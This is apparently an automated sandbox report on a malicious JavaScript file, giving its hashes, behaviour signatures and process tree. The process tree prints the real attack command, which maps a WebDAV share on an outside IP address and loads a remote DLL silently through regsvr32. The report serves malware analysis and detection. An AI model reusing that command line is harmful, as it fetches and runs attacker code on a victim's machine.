Analysis

  • max time kernel
    93s
  • max time network
    124s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240709-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240709-enlocale:en-usos:windows10-2004-x64system
  • submitted
    23/07/2024, 06:52

General

  • Target

    17300219471184123210.js

  • Size

    4KB

  • MD5

    7fd5217b4985c2d7227272a3dc3c26dc

  • SHA1

    b802b01e634e8441abba56e12a5d0a2ec8f54380

  • SHA256

    77911e1aaeba710e76c727862d90cf856c67a3273378a6292d77ddd02720c5a4

  • SHA512

    430fe88c969e259301b7f1359ca987d80901d33b6001091a9825e8636e562facb5aada089813b60ae542db0c2588ef8544ce5a267b37f768258b3dd466db3f93

  • SSDEEP

    48:rwJu6xlh98/6U4VsDxaxPeV1vbaxkSnzI5tKHE/DyTAkK2Mu/iJtKHE/DyT/P/5W:rwEwDUFYVFDnjHEbEAkJMwHEbExPPG

Score
7/10

Malware Config

Signatures

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Command and Scripting Interpreter: JavaScript 1 TTPs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Runs net.exe
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\17300219471184123210.js
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:1608
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /k net use \\45.9.74.36@8888\davwwwroot\ && regsvr32 /s \\45.9.74.36@8888\davwwwroot\263351605719340.dll
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:1580
      • C:\Windows\system32\net.exe
        net use \\45.9.74.36@8888\davwwwroot\
        3⤵
          PID:728

    Network

    MITRE ATT&CK Enterprise v15

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    Downloads